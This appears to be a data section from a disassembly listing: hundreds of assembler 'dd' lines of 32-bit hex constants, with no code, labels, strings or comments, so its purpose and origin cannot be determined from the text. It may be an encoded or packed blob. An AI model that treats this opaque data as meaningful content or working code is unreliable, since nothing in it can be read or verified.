		dd 0FFD480F8h, 6F981E57h, 0C0762D2Ch, 9ACCD600h, 9B88EBh
		dd 0ACA3BB37h, 3E3970Ah, 82579400h, 0EDF0C1B3h,	275B00DAh
		dd 7F8128A5h, 0C607D1D3h, 673235FCh, 0FEFBCB0h,	4E6000DEh
		dd 45B7AF02h, 2207DAE0h, 6840F162h, 577E3C10h, 9A6C9025h
		dd 0B0BC07BCh, 0B09915A6h, 0B2685047h, 0C2C7AB7Fh, 46809271h
		dd 138CAh, 60BF510Fh, 3A33FEEBh, 5A56140Eh, 16FC60F8h
		dd 0F4D5E905h, 0CD870BF1h, 0D081EEA5h, 64772774h, 6F002EACh
		dd 44A2A862h, 0ED13140h, 0C5277370h, 97AD47C3h,	0B8530BD8h
		dd 7A233700h, 0CC2FD4Dh, 0D6CD0004h, 0BF1DAD72h, 7D001BA2h
		dd 550844F8h, 81110D2h,	36CC65FBh, 47192C00h, 45AB388h
		dd 4F7D25C7h, 25CB0F1h,	40724B00h, 0FE5F0CB5h, 12660E01h
		dd 454085AEh, 9D9F76ACh, 0CA16E300h, 0F8E2629Eh, 96F72424h
		dd 0C49C00E1h, 4A2B6FA8h, 90009F4Ah, 0F215933Fh, 0EE300BAh
		dd 6ABEDDD7h, 6400C48Eh, 68B5C199h, 26939Ah, 34438D65h
		dd 5D13568Bh, 3C82704h,	0A080306Dh, 34B76B6h, 4E8457A0h
		dd 119052EBh, 1E1C6C39h, 7440CB20h, 663864A5h, 4C020024h
		dd 0A3D57FFBh, 0D90037CAh, 828F6C5Ah, 50F1F088h, 1CDAF00Fh
		dd 0AECC6D07h, 0C0E41E7Ah, 18FCE04Dh, 0A64AAAD2h, 0F1F90803h
		dd 0C21191E6h, 0C793E9h, 3F457319h, 0A712FC32h,	8A6A0A09h
		dd 40C8290h, 0C6E8807Ch, 3624AA3h, 0CEE0AC39h, 0DBA8ECBBh
		dd 4158B1DFh, 8E7201F8h, 6B7316FEh, 0AD66E8h, 197DCE33h
		dd 0DBDFACC6h, 0F5B0D307h, 0A513DAC5h, 25A8008Eh, 3E476508h
		dd 0D01EDB1h, 2DD71C98h, 0A97083FBh, 0A60800A3h, 52E829BAh
		dd 3600163Fh, 0BE794F5Ch, 2A25C1D0h, 0D0BC0Fh, 0E18FD130h
		dd 78520457h, 0D9926B24h, 0C3E03500h, 0B9F6A3h,	0B323B62Bh
		dd 7306F06Ch, 0D3393600h, 2FEC7B1Ah, 2B310035h,	487E2595h
		dd 0CB01AD5Bh, 207C812Eh, 99ECC4BEh, 845F0254h,	411868A2h
		dd 0B1E141E0h, 658A1A00h, 61567832h, 2EB30001h,	6BCE82B9h
		dd 12F2D773h, 4B1B5D04h, 0F4C33A28h, 185AC076h,	98ACE457h
		dd 9489006Dh, 1C79C7FAh, 3A0069C8h, 0DE37F552h,	0EEECB976h
		dd 369F0080h, 225A7774h, 42465F6h, 1E80F00Eh, 90A3A6B5h
		dd 4D6000E9h, 8FE576E4h, 0F160216Bh, 0D68650CCh, 0F4F60E04h
		dd 15C0C543h, 0F71ACC4Eh, 781F2D1Eh, 0A8BD39h, 3FE9ACEAh
		dd 0FA10C4h, 0C2E75F5Ah, 43E34824h, 64816700h, 0A7589879h
		dd 21EF0FC1h, 0D1809760h, 5A230705h, 29AA9200h,	160341BAh
		dd 9D0600DFh, 0C081D4Ch, 62762BA4h, 0BEFDB202h,	81E56A61h
		dd 6E3DF084h, 5C4CFF0h,	0CC3B03CAh, 0AA0FFFF1h,	0BB5AA0B2h
		dd 3C56F010h, 0DD803D47h, 95FBB994h, 9A0E5969h,	80CB38FAh
		dd 27217390h, 8C8100E0h, 2A6EE691h, 0D400BC5Ah,	0E19788B3h
		dd 3950F61Ch, 4B80944Fh, 99804E46h, 0DC0142FFh,	84B50373h
		dd 0B8805125h, 0BEE9F5C6h, 0EF004EEAh, 69822837h, 5D6B712h
		dd 3C3B35DDh, 78E5806Fh, 0C8C004DAh, 0D51E0B18h, 6211C0A6h
		dd 0DB7BB0C1h, 96515F13h, 15043513h, 92C0FE99h,	3A88F94Eh
		dd 2C003341h, 4D807A43h, 7B00FB46h, 147DC491h, 0CE5BDC8h
		dd 2FE87415h, 0F500BF20h, 24606118h, 9566DBh, 310BAC8Fh
		dd 0B14D1137h, 1715051Ch, 7287F14h, 0DDBE90AFh,	0DA3F71B0h
		dd 0D37300B7h, 0BF2FF931h, 1F7DE9B9h, 0D9E84603h, 0C019DC18h
		dd 2869F862h, 944591h, 377F0172h, 0DFC74060h, 2E008C0h
		dd 0C041EF50h, 5D525F68h, 7300AD2Fh, 89C0C36Ch,	1FA8F290h
		dd 1C8004h, 0BB225061h,	2000A42Dh, 0CA39863h, 0DC3D8Eh
		dd 0B6E3DD7Bh, 29ECA0B4h, 91A81C02h, 0C050194Dh, 3E0DA35h
		dd 259B86DDh, 0FFA0170Ch, 0BC393192h, 97F280DEh, 0FAC1F5B6h
		dd 1DE71E42h, 93660077h, 5E95C9ADh, 32E66002h, 0E022AF82h
		dd 293F99h, 92CC78A6h, 6A37BAECh, 83092E12h, 0B9F06E00h
		dd 369DD8h, 0A39CDE2Bh,	3522520Fh, 0EF3AC80Ah, 0D700CDA6h
		dd 9724917Eh, 5F8E00ABh, 464CB8DEh, 0CE1ECD2Fh,	807A563Bh
		dd 0B4CFF404h, 381483Dh, 0F5F70673h, 800AF0Ah, 0BE64E0C3h
		dd 79911Bh, 0BDE7AE19h,	4F271A15h, 0D775EB00h, 5EEA5966h
		dd 4D990F09h, 8500B588h, 0D9DB2E6Eh, 3CC9323Eh,	0AC8E0770h
		dd 0E03FE6AFh, 0A1D4B68Ch, 862B003Eh, 0DEB17E12h, 0B3F8BE1h
		dd 0B5CB00ADh, 0C9DCB245h, 63690037h, 0E85DC316h, 933803F9h
		dd 8E520056h, 0D04EB0C8h, 63325C83h, 8273AB00h,	0CDAFF9ACh
		dd 49E7E900h, 942D6F1Bh, 0B97100D7h, 0CB0816F8h, 0B41C6CB6h
		dd 1C00FAA7h, 0B54B44B3h, 0C7F101DEh, 0D8C90467h, 3206h
		dd 98BF91ECh, 13E594h, 40B097F6h, 4C1FAA38h, 32AD0203h
		dd 0A899D887h, 47E96EEh, 3FB684F2h, 4D508037h, 7C00250Fh
		dd 9A9E955Fh, 119B5BBh,	8799545Dh, 0EC45EE81h, 2A508972h
		dd 0E011088h, 77252D69h, 44CDB5FDh, 22674980h, 3119A96Bh
		dd 5A151600h, 0F8BDF9F6h, 0A5E6390Ah, 1832F000h, 813BADF7h
		dd 0B74CDB00h, 5D432A8Ah, 319F0022h, 739A5B59h,	50798E3h
		dd 0D9E98258h, 3EAB9B90h, 0A88700D4h, 5C4CDC5Fh, 7F7C6639h
		dd 0C589E300h, 3C699BFAh, 0BA8400AAh, 785C5B18h, 2A0329FEh
		dd 0A667E23h, 0B717F8F7h, 1CF00205h, 0C3F10B93h, 73858680h
		dd 131FE24Ah, 0C2C02529h, 948EDF43h, 0B867E27Ah, 98EE0091h
		dd 28A19B7Dh, 1C003CD8h, 0A6E61A71h, 0DC0612h, 8B2F5FDh
		dd 0D15DA68h, 0A961A400h
		dd 26969955h, 46C500BEh, 3FE4D4DDh, 0D8E38B3Ah,	0D1006DA2h
		dd 0B968A994h, 3CE28Dh,	8614B748h, 7E177BC3h, 0BB04350h
		dd 8012A738h, 0A39065EAh, 0F2B96750h, 9C9601A4h, 84B8A7Bh
		dd 6C59803Eh, 10C8B3CBh, 0D041001Fh, 3745FB02h,	2039E1E8h
		dd 0DAD9014Eh, 61281DBBh, 85184882h, 0FC803A94h, 802D2BB1h
		dd 1BE14702h, 60027220h, 30AB096Eh, 0D330739Eh,	0D800C632h
		dd 0A3CE39D4h, 0E518F63h, 7BB1ED1Ah, 1427986Bh,	0C76CC0CCh
		dd 0DB009CE0h, 2E11522Fh, 2A7683Ch, 0DE9395BEh,	6C405AFCh
		dd 0A3F85FE4h, 4663301Dh, 22F7380h, 122257DEh, 37B4DFC1h
		dd 6B9F62E0h, 909C544Bh, 8588AD30h, 1928D130h, 1866CFh
		dd 119113E4h, 4D849246h, 0A4A698C2h, 7558485Ch,	831C1E7h
		dd 2029796Ch, 3003174h,	0FF8E9FC6h, 3AB97850h, 350099C3h
		dd 26BD0D68h, 0A3006993h, 0F14D292Fh, 8132E8h, 3A15B1AFh
		dd 2A726188h, 0DA777F00h, 0F2E35755h, 0FB740054h, 9A69CF8Ch
		dd 0BA021602h, 0BE70363h, 0E0FE63F3h, 7607624Dh, 8EE60053h
		dd 702619E4h, 0EE01052Ch, 0B055ED0Eh, 1BD0CFDAh, 4D530004h
		dd 0ADBF44E8h, 0BF0869Bh, 367F748h, 125E149Dh, 598AB8FBh
		dd 0D2C2008Bh, 0DE4F8689h, 7B00376Ah, 28940B56h, 14D1CFh
		dd 0D7D42A5Ch, 0D88296CEh, 0CCB7F300h, 0AFFA1B87h, 0FFBB0075h
		dd 0D3A35357h, 3A009F3Bh, 68A6C277h, 0B097C5F8h, 0AB810178h
		dd 0D5662C25h, 361420E8h, 8ADF1A17h, 0E0207801h, 5AD4788Fh
		dd 7C9700C1h, 0BDB261C0h, 4F13ABB3h, 444E7D04h,	0CC005385h
		dd 1E0571C0h, 134BAB4h,	146447C9h, 4010CAACh, 6F2D96E2h
		dd 0F603Fh, 0B670DFBAh,	0B12349h, 59A334CFh, 0FC953B67h
		dd 83124500h, 0CD0650CAh, 0C7031678h, 0E8E200A2h, 45DE51CCh
		dd 5C861D24h, 0B7DB1C80h, 95EBFFh, 50401A6Fh, 6D639EE4h
		dd 1860F124h, 0C8CC9E3Fh, 65323740h, 0C1E7A05h,	368CF6B1h
		dd 0BA006F10h, 0CF111573h, 0FD9C03Bh, 0B532F310h, 0D4AC1760h
		dd 933C06CAh, 2E40805Ch, 6D1A2576h, 57BA01C8h, 9B052D75h
		dd 0D0147561h, 0F0E0970Fh, 7A4C948h, 0D66F5881h, 0E6EA1850h
		dd 76A200E3h, 54AC9899h, 7300AF5Fh, 0CE5320FEh,	711C855Ah
		dd 8ECA0044h, 49C77C9h,	650075ABh, 2D106D73h, 0B8547Dh
		dd 0FDB5E3E7h, 0F5394933h, 1A2938h, 0D0F7DEE8h,	8D651Bh
		dd 0A0C853A9h, 408EEA5h, 55873800h, 0F8A2955Ch,	0FA800F7h
		dd 542E9E6h, 470B5AECh,	8FDAA7CDh, 2506600Eh, 495ECEh
		dd 5BF92127h, 0E135E3C3h, 0D54D4Ch, 470F3C03h, 1FC078Ah
		dd 0C78963F0h, 0C021E499h, 8300CD34h, 8F70966Bh, 82B99Eh
		dd 0EE0D918h, 1ECA3D24h, 0C1111B24h, 8130A200h,	60CBF86h
		dd 9703D94Bh, 26E45828h, 3C34DC00h, 47B5E6DBh, 0F9A00079h
		dd 0D9B8426Dh, 7200709Bh, 1F1CD11Ah, 48BEC8h, 2711BAEBh
		dd 34962EFEh, 0CC500D00h, 0AE20DC7Bh, 439067h, 532AD8D9h
		dd 0B8026A08h, 0EA00E4E2h, 4F472E04h, 48BFBCEEh, 2300B02Dh
		dd 0D2D6701Ch, 0C4001E26h, 776085C7h, 3222A88h,	80A23CF5h
		dd 0BCC89020h, 0A600E47Ah, 66D1E3C1h, 3DAF2582h, 0C0BDF8A7h
		dd 0AB45BE8Ch, 6700D611h, 90E23BFh, 6D05FEh, 1A6CB965h
		dd 0CA57039Fh, 0D5A4CF00h, 9FB99D2h, 38F2DEh, 0E92E3769h
		dd 83AAAF74h, 2440F400h, 210F4EABh, 6D4F0E0Ch, 0D3A7A2A7h
		dd 0A558C026h, 1D6363C2h, 0A03C1C30h, 7309D099h, 0E6380080h
		dd 0FE3D27F6h, 0A01947Fh, 3F70467Ah, 0D4C5CF5Bh, 7B020E89h
		dd 0B0D6EB00h, 0AE000F6Ah, 0A60B4A1Ah, 2D302Eh,	0F265D7BBh
		dd 0EE5239F0h, 509ADF14h, 0CD56B148h, 0E8A56C40h, 3D573E69h
		dd 8DB05900h, 4BEC6858h, 0D0B638h, 0F1CA9E23h, 0AD7A44h
		dd 53959D3h, 2FABE01h, 0A8BA100Eh, 0E967809Ch, 0B8B23D90h
		dd 5EC4010Ah, 0C3ACB333h, 18B5DC9Ah, 6CF8EBE3h,	8D009FEEh
		dd 0BFF3D75Ah, 0F72DACh, 8A56D6C9h, 0A1398711h,	0CD6F4000h
		dd 757CB906h, 0CF2F003Eh, 0C8F87180h, 27001DD1h, 0BB7F8976h
		dd 0C038031Eh, 78AC04D9h, 60005771h, 0B1306898h, 519482h
		dd 0CCA6F5DAh, 3DA2A0ACh, 0E8533Dh, 7458C856h, 0A7D2D8h
		dd 0EE572EFFh, 0A0BD1339h, 0A34A63Dh, 303A031Ah, 0CCDA2207h
		dd 0C4B22B00h, 0BBFC2629h, 28A20EBBh, 279FED40h, 8A74E4A4h
		dd 0C4B0AB50h, 0E8C61700h, 46AC0BAAh, 0F028F08Eh, 3CB33DA4h
		dd 9E523601h, 0C456FD7Bh, 0E005CCAh, 134C553Dh,	0AE9214h
		dd 2B6BBF24h, 88809DAAh, 44E7EC03h, 0B0D216C4h,	0F6768D9Eh
		dd 5C95003Ah, 0C917385Ah, 0E330E287h, 3421059h,	1D4A1F83h
		dd 0A4F58026h, 0C8A3C234h, 9A83A0DEh, 0A25084Eh, 3640B3B0h
		dd 8F3E3E88h, 0D333CE00h, 0B0C14B2h, 76601E18h,	613FD9h
		dd 0F795BD3Dh, 6733FB13h, 7300DBEAh, 0C7D04B38h, 0F251FDh
		dd 0ED57AB8Bh, 3FBCEFA8h, 3DA6B007h, 49E02AA2h,	0E5024D35h
		dd 4158EB42h, 0C2408633h, 638330BBh, 4A8008D6h,	5FD2000h
		dd 96AF5C45h, 0B95200B6h, 8537C762h, 0B30C4B18h, 596D3657h
		dd 0D40DF3F8h, 90237B45h, 8511D6h, 4F453AF8h, 0C04764h
		dd 89965837h, 992ABDEAh, 0AAF23CF4h, 2638E501h,	167076C8h
		dd 0FB6C8007h, 0C70161EEh, 0CA028FF3h, 46D181DBh, 30D2183h
		dd 4A903DEFh, 73609BABh, 82CA51A0h, 188B303Eh, 32204C29h
		dd 0B01F08DEh, 0BF0869C0h, 3C3641A2h, 538098FAh, 12EA506Fh
		dd 2007E8FEh, 4D603A97h, 87018042h, 2F47D29Bh, 7492ED6h
		dd 0AA5960B1h, 9C3970B6h, 3674FC65h, 203E3D30h,	0F858526Bh
		dd 9EE50FCCh, 0FAA3A9C5h, 984C9406h, 344107C9h,	7020D601h
		dd 5AE877h, 78B78631h, 511E6BC0h, 0EAE5681Dh, 1D014A93h
		dd 5F4422F1h, 1E4F5AE8h, 0F8C706h, 84CFD375h, 57004DA9h
		dd 6287A094h, 155680h, 7CECD871h, 23754C81h, 0DB0097E6h
		dd 8E8A7D47h, 7E9C1687h, 96B10052h, 0FAAE7183h,	4700782Ch
		dd 0C30708BCh, 7E1927Eh, 739E70E8h, 15A26068h, 7800304Dh
		dd 87BC9340h, 0EC11FBB7h, 29F26464h, 0FC0E216Ch, 11976B11h
		dd 6012DE6Eh, 24C26211h, 3C2271Fh, 4B240471h, 715EC3h
		dd 0AA34D9E9h, 6B0067B4h, 3AB8EC03h, 7B5A95Bh, 224FC124h
		dd 23D49094h, 0E90963ACh, 805D80E2h, 561D6779h,	483E0095h
		dd 68C2AE9Fh, 0C7985BAh, 0E400E877h, 1AB6C011h,	7F3B5773h
		dd 15F90067h, 83F742EDh, 0EA008634h, 32E0F3A5h,	3FC2CB29h
		dd 9C801A56h, 155D52Ah,	7C00FEE6h, 94AEF276h, 1718D24h
		dd 6DA98788h, 0D87B8B44h, 4B3BFC21h, 720F97C0h,	2BF9000h
		dd 3D16A1F3h, 4D18A7FFh, 0E6B3289Bh, 0F5C3AE00h, 0DAB03BC9h
		dd 4BFE0050h, 0CEF1E8FFh, 0F2E88B52h, 0A10047F8h, 0F516710Fh
		dd 0E82E3h, 288523F7h, 6820C403h, 0A5B77B18h, 2CD0A8h
		dd 896C505Fh, 613E6A60h, 7951500h, 927A6BAFh, 49913CADh
		dd 0D2E18C03h, 3800DBB1h, 9664C558h, 7217CEFh, 0EE6F05CDh
		dd 7720507Bh, 2C7139A3h, 80AD3C38h, 0F3B981ACh,	48364AC6h
		dd 0AB002805h, 689A3A9Dh, 84014252h, 0FB4C35EFh, 0D2D81EDFh
		dd 88C400A0h, 0AD54411Ah, 0E31CB258h, 9C80A103h, 695DEEF6h
		dd 0B7C70133h, 678FFD95h, 7C3D0D9h, 38006E7Fh, 0D7BFE00Eh
		dd 7B2C279Dh, 3039F879h, 5D88E830h, 198009B2h, 25CA09E6h
		dd 2A020284h, 828A76D8h, 582C82h, 440D7C8Fh, 0D739B91Bh
		dd 16A200CAh, 0D565150Ah
		dd 40E204h, 9768A7BFh, 8E0E0FC5h, 0F675EB00h, 9F5F1ABDh
		dd 0E281FAE8h, 0D64A00C4h, 5AC2DC38h, 0E9ECE05Eh, 9A71A401h
		dd 9120CB8Dh, 179BFCh, 0BD9910DFh, 32ABF621h, 4BEA330Ch
		dd 0FF7C292h, 0B7AA84Fh, 8BC280E0h, 0B800299Ch,	4E7E4201h
		dd 8E4CEBh, 563AB3B4h, 902E1245h, 0C70E3000h, 0C1CEB7E7h
		dd 3B67E262h, 978005B9h, 48291B3Bh, 3E0044EEh, 596D82C4h
		dd 60057643h, 3151D034h, 1600F52Fh, 38584FD8h, 5C2ABBh
		dd 0AA46FD08h, 0BA353F44h, 678E512Ch, 21A59707h, 8AC95080h
		dd 0DBBF00F7h, 7806F12Fh, 0F7A05B5h, 4C244E0Ah,	5F1784D6h
		dd 0CA13D00h, 0DD6647h,	0BDB7215Bh, 0B42988CDh,	0A8E5F618h
		dd 1EDEF410h, 8073E8B2h, 0A03670E7h, 0B7230D9h,	0F238E300h
		dd 0C19F5C39h, 448A3927h, 6598CA01h, 0E883DB1Fh, 77003224h
		dd 62969105h, 98923FEh,	5BE45AEDh, 76BA0020h, 0C814FD84h
		dd 0ECBEC4h, 2A8AB1A2h,	7F296117h, 889C0016h, 1ECBB94Eh
		dd 7B019F1Ah, 28A12EF9h, 3D00B0A6h, 1BF02C93h, 2F1EB800h
		dd 5798ADF6h, 91A1079Ch, 0B0FD276Eh, 2030CBA6h,	9F83800h
		dd 4B90CCCFh, 447C0043h, 5008DB03h, 174777Fh, 3A5AB500h
		dd 0C25B4CA4h, 0A12C0054h, 0B669574Bh, 5F001992h, 317CB7DAh
		dd 33D1377h, 0A5C5246h,	0A1B7EEA9h, 0DC5E5842h,	3A0095A0h
		dd 0D25F3905h, 49E312h,	389DD465h, 20D87318h, 9C779F12h
		dd 5540201Fh, 6E9E7E8Eh, 0F5FC00DBh, 152ABA58h,	0CD001AC8h
		dd 0F0A8B72Ch, 727D755Dh, 92E4FF88h, 0B0955236h, 0E1132F3Bh
		dd 179B0081h, 78DD8729h, 0BF4FF900h, 74218DC5h,	4E3A003Dh
		dd 0F1100C93h, 50778BEh, 3C260FFh, 0BB40403Fh, 128752h
		dd 0D2471A7Fh, 2152614h, 4FEEB50Eh, 20BC20E6h, 0F34B58h
		dd 0B0917266h, 73BE0F5Dh, 0F804EB0Eh, 45403953h, 9D3DCD4h
		dd 33E4F0C8h, 2FB50800h, 0CD12DA10h, 4030A7Ah, 7EDF24Eh
		dd 993D91A9h, 0E228203Fh, 7E091FE4h, 7603BE1h, 727011F8h
		dd 0F38BB876h, 88A2DCh,	48AEFDDh, 0D9E857B2h, 64155803h
		dd 0F8EDDACAh, 0FEF28109h, 0FBEF3A54h, 8F8CF307h, 8417006Eh
		dd 93001951h, 0E187FD44h, 5DA874h, 6B5CA6C1h, 5385A12Ah
		dd 12BB7C1Ch, 40F76F0Ch, 3ABF762Eh, 3B003145h, 0B3B06550h
		dd 5C00D0F6h, 0C1FBB804h, 1CCFA2A1h, 0DF6E826Ch, 0A9BE40B4h
		dd 12264B08h, 0E34F9D00h, 0E420B791h, 95444CEAh, 0C71C8200h
		dd 5CAD684Ch, 0BF25DA01h, 26D8C56Eh, 0CC66C8h, 0A88B2357h
		dd 0A7541D6Ch, 7E1E3DF4h, 5280F433h, 0FA3298AFh, 10513021h
		dd 6A2CB119h, 0C1072EB0h, 1AAF09C0h, 274164D0h,	1D860038h
		dd 0B9AF769h, 3C009865h, 91C0CB4Ch, 731B2EB6h, 15740071h
		dd 371E2524h, 450173DBh, 0BA5FD954h, 64E08C0Bh,	0FB4F00ACh
		dd 68AE077Eh, 0EE00A56Dh, 44724787h, 202A6C2h, 0AC7E5DE6h
		dd 9480BE84h, 57C9886h,	9AB9EE02h, 57CAD8E7h, 613CD740h
		dd 29F2D2F8h, 3DD4BC1Eh, 5AAF8500h, 0C8B9F89h, 0AC4B5033h
		dd 0B0B0C068h, 383B4C00h, 0D987599Eh, 17478FEh,	5C043C9Ch
		dd 0D3889318h, 5F616098h, 7126B400h, 0BA0AFEA4h, 0ECE30052h
		dd 4F95E7C1h, 3001949h,	2F7AC592h, 0EE29ABB1h, 6EF4ECh
		dd 18144508h, 3B9024A0h, 5981F500h, 93CA382Eh, 0C3E51FFEh
		dd 0E66CC050h, 0F0A9C069h, 9420FC16h, 0D286D300h, 0DCAE63h
		dd 9A912715h, 0E1A50DDEh, 70967807h, 61A0C6B3h,	0C83592h
		dd 3808E810h, 68A129CBh, 6258AF00h, 0AB89F4D5h,	0BB774Fh
		dd 0A4F2DF60h, 30B9B831h, 5EE15600h, 0DEAD4AA1h, 3EA30023h
		dd 86489E77h, 9A0042D5h, 3550CA7Ch, 0DD33EFh, 0C065CB17h
		dd 98951CC7h, 3B968402h, 0C0D95C9Eh, 854192h, 20EE898Ah
		dd 0A83DF61Dh, 0E9A663Ah, 0C02EFE2Ah, 0AF938D9Ch, 531900C5h
		dd 5661C76Dh, 0F8004309h, 0D5AB0836h, 0C64C5Ah,	0E72A3412h
		dd 69FCE989h, 1940AF60h, 50FD5DDFh, 7C64F97Ah, 0DA350011h
		dd 4B73BBB0h, 9300389Bh, 73C92B8h, 1CC05982h, 222460Ch
		dd 449AD945h, 0D0137040h, 12DDA71Eh, 0D7998000h, 264162E8h
		dd 533F518h, 163024h, 14606DA4h, 2D79239Eh, 3A3F6B78h
		dd 0F2E400C2h, 0ED921EF5h, 77BD2484h, 8E000DCh,	0BB13DA3Ch
		dd 5D7CC606h, 482A5Ah, 23C9D0F9h, 14D326B7h, 0A0CE90A0h
		dd 2592BA04h, 3400B943h, 9F154BB3h, 22906400h, 7A5F713Eh
		dd 89520002h, 0ECD90D31h, 0B100E8EFh, 1C700ADDh, 0F65D8Eh
		dd 94440324h, 9B1A184Ch, 4EDC9E00h, 512885C3h, 0D6100096h
		dd 2A6D7D70h, 0FA004529h, 2554F820h, 3D4F2D35h,	891322F4h
		dd 0E53C4F6Fh, 8A9AD820h, 0C200C07Fh, 3D884E41h, 0CD7659h
		dd 7E4C4603h, 0A8A96627h, 0E4C83700h, 2DB657D9h, 8C8702EDh
		dd 7B223B75h, 7DE38C8Eh, 0BC90E578h, 0AEE0D64Eh, 8E3E3F00h
		dd 1EF157B5h, 24A0E2Bh,	409FFCE8h, 0ABA2439Ch, 0AC00FD6Bh
		dd 0FACF0CFFh, 26993C5Ch, 0F16376Eh, 0D680FB1Bh, 0EF4D30A1h
		dd 4C506F00h, 0AB5FF469h, 69100AEh, 3F32B70Dh, 9031AB5h
		dd 9FFC88D5h, 85701CAAh, 0FD7E4099h, 42E9B86Ch,	0B6F2AE00h
		dd 268C788Eh, 0E286EC3Eh, 0DF9800A5h, 1B22108h,	2900254Eh
		dd 0C65E174Bh, 0BCD7F2Bh, 7102A869h, 9208A000h,	0B00BA06Dh
		dd 0E35D2Eh, 89B13880h,	0AD9D02CEh, 674390E5h, 7F2DC480h
		dd 0C4772CD4h, 648B4Dh,	4C39D306h, 9B32F0h, 0D7E3B8ABh
		dd 0F91591F1h, 38617E00h, 0C63746E8h, 0A1E00D2h, 0A5E6D3EFh
		dd 423A0511h, 3FA1016Ch, 609563F1h, 36B8120h, 0DC272F12h
		dd 0BA879E9h, 8D00F764h, 0E56E8955h, 15F235h, 81E7CE73h
		dd 0F7E81EBFh, 0EE4CFDF0h, 91D30750h, 3ED0A862h, 4052A9h
		dd 0E0AFDF7Ch, 0E6FF7430h, 20601F30h, 8F7053h, 68F552E2h
		dd 0FAF387F2h, 0BEC6AB01h, 6173F482h, 0E5A42880h, 8010F7D5h
		dd 0BFD93039h, 0EEE8B9Ch, 810300B1h, 0F6F8397h,	0EDF3B267h
		dd 202C77E0h, 0EE0068C9h, 0FFCB7B93h, 70B2BC5h,	4C9E44A0h
		dd 18BC604Ah, 3A005219h, 125F62B7h, 1F3FECh, 0C59509BEh
		dd 0AEE691F3h, 0E8753800h, 0D8853498h, 8E73078h, 0FF939620h
		dd 69C48E03h, 0E850E1C8h, 77D72E5h, 65B53AD2h, 0F477210Fh
		dd 7651E839h, 72C78900h, 0EE319020h, 0DE1800E9h, 588B8D7Bh
		dd 0FBB8DB5Ah, 0CB00E2EEh, 0C7432FFEh, 1F5C35A1h, 0C04666C3h
		dd 8A4F63FBh, 910075F2h, 9F9DB13Bh, 0F33EC02h, 0CACCDD8Dh
		dd 74D2AA60h, 0C776D317h, 209069E8h, 7EAFF9A0h,	5BE15C16h
		dd 0E2BC6C01h, 7B612B33h, 267ABC41h, 0DFBDC440h, 68CB0BFh
		dd 159D028h, 2C07110Ah,	0E5E4C984h, 301F3710h, 2C2F4DBh
		dd 5FDF9D19h, 2E0BBD9h,	0C602AA7Eh, 10CF642Eh, 0D5D06052h
		dd 8D881F3Dh, 0E9A0C0C3h, 0D32F11E0h, 0DA30FD00h, 0B1BEF265h
		dd 5AD0032h, 0B0A975AAh, 8F0638D6h, 0A0017C9Fh,	14831858h
		dd 65665CECh, 0D2A29700h, 0E6DBF9E2h, 0F7B05Bh,	73A9D188h
		dd 1B3B3C9Dh, 7DD39B03h, 0E85FD283h, 0E0843E4h,	0D99A9869h
		dd 4B3A003Fh, 18964DFCh, 610DC00h, 71F795EAh, 0FAA01C2Fh
		dd 5B56CB36h, 5263C480h, 390A1ADBh, 0AEEDD607h,	4D42191Fh
		dd 0C8DDA2D1h, 27BD18h,	1830E70Eh, 0EC77E54Ch, 3600D498h
		dd 9489856Ah, 0DF2349h,	0B9D0516Bh, 7480BC6Ch, 13EF5D00h
		dd 0FD326ACCh, 1D7307F6h, 0AA4C95h, 0C086F12Bh,	0E0025EF8h
		dd 186EB9C4h, 0BC18C06Ch
		dd 38B10097h, 0AB6AE648h, 0D800B710h, 0ACC0D384h, 0E7E843h
		dd 0DF71B9F9h, 0C273DD45h, 67EDE00h, 7F670A50h,	3A8705A8h
		dd 0C022376Ch, 0A3EE296Ch, 0D13F640Fh, 968020B6h, 796143h
		dd 3E7B868Eh, 71DE4B65h, 0FE580200h, 38BA50A7h,	0AC9A0521h
		dd 860BCB46h, 0FD2EA18Dh, 0B7007696h, 5290AE98h, 2CFE00A6h
		dd 0AFDC2BBDh, 0BF001E62h, 0B9491F03h, 21CB39h,	4C5BAAC2h
		dd 6FDEFF5Fh, 0B3661701h, 0E19D06F2h, 498FF841h, 8AD5864h
		dd 29AF1D9h, 0D3BDD107h, 0BF7B90C0h, 86D4390Dh,	709202FCh
		dd 73DB04C6h, 0CC7194E1h, 670057E2h, 0A3962822h, 26EB11Eh
		dd 74FD0BF4h, 49402098h, 94585A81h, 633F0758h, 897045C5h
		dd 12BF46D7h, 413BA679h, 0D2BCF304h, 287FD4E3h,	0BA073Ch
		dd 33A4CD89h, 0E602F9h,	0FC460FEAh, 0C717B808h,	0CF3F1000h
		dd 0BA9D3C9Fh, 0DBAC034Dh, 8AA2D726h, 583D40E7h, 0CB014879h
		dd 2BD8E956h, 0C4E05B7Bh, 0EF5E0371h, 0D522F6B5h, 609A80B5h
		dd 0E9005523h, 0AAD0F589h, 1EDBEAFh, 3A3DD30Ch,	0F88E7D27h
		dd 2102B3C5h, 33A5649Dh, 0DE38E9A9h, 0B8181808h, 0DFB0A7A8h
		dd 0DF10201h, 53D0F6B4h, 0DEC3D140h, 0A04810EEh, 0D9CD0114h
		dd 0E2392E9Fh, 1FE820h,	0B9A153CAh, 0BFDB812Ah,	0A61A0B09h
		dd 59D800C2h, 390351Dh,	0A562F441h, 810E0A93h, 503F5BEh
		dd 6FC059B9h, 0DFB04h, 47630B7Ah, 185E6DE9h, 968B1200h
		dd 26CF2936h, 792E0122h, 3D30BE97h, 0FABC4015h,	5C00AC88h
		dd 9644ABBh, 83610Eh, 0CB30AA94h, 1A23586Bh, 758A2D03h
		dd 988B9CDDh, 0E79BB938h, 1E6E01DCh, 9E4AB86Dh,	0E11680A7h
		dd 66D8EA3Ah, 393BA3EAh, 0E77E0070h, 9FDEFCA2h,	3694070Bh
		dd 10EAD57Fh, 5C32EB6Bh, 34446848h, 0C00ED895h,	89167A7h
		dd 850EC851h, 1CB8C1E8h, 9AE103h, 9305C051h, 0EE00ADA5h
		dd 0B673FC12h, 0EFD0DAh, 750210A2h, 4C2D45B3h, 0B44C748h
		dd 718063h, 0EC726564h,	0E0B9070Ah, 0E0F69412h,	0D0DDFEE1h
		dd 57EDC201h, 3484F489h, 86A54424h, 0DED29015h,	0A78701E4h
		dd 0B78AAF66h, 0ACE1AF0h, 0DBF20767h, 713502DCh, 40752514h
		dd 17720FAh, 338BAAF7h,	8C9F75A4h, 204244F0h, 0E17901BEh
		dd 9688B490h, 0D17080A4h, 8FECEDE0h, 2127012Eh,	9A147CF7h
		dd 0BC67D0D4h, 9B7ACF00h, 1703619h, 179C5803h, 82C1BE00h
		dd 8C8F409Fh, 0B842773Bh, 0F2D10FD2h, 0BBC500F5h, 399F905h
